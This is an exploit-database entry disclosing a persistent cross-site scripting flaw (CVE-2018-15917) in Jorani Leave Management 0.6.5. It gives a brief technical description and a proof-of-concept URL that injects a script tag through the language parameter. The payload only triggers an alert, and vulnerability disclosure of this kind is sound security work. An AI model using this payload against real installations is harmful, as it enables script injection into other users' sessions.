Exploits / Vulnerability Discovered : 2018-09-06 |
Type : webapps |
Platform : php
This exploit / vulnerability Jorani leave management 0.6.5 crosssite scripting is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: Jorani Leave Management System 0.6.5 – Cross-Site Scripting
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-09-06
# Google Dork: N/A
# Vendor: Benjamin BALET
# Software Link: https://jorani.org/download.html
# Affected Version: 0.6.5 and possibly before
# Patched Version: unpatched
# Category: Web Application
# Platform: Windows
# Tested on: Win10x64 & Kali Linux
# CVE: 2018-15917
# 1. Technical Description:
# Language parameter is vulnerable to Persistent Cross-Site Scripting (XSS) attacks through
# a GET request in which the values are stored in the user session.
# 2. Proof Of Concept (PoC):
# Go to http://localhost/session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(%27PoC%20CVE-2018-15917%27)%3C%2Fscript%3E&login=&CipheredValue=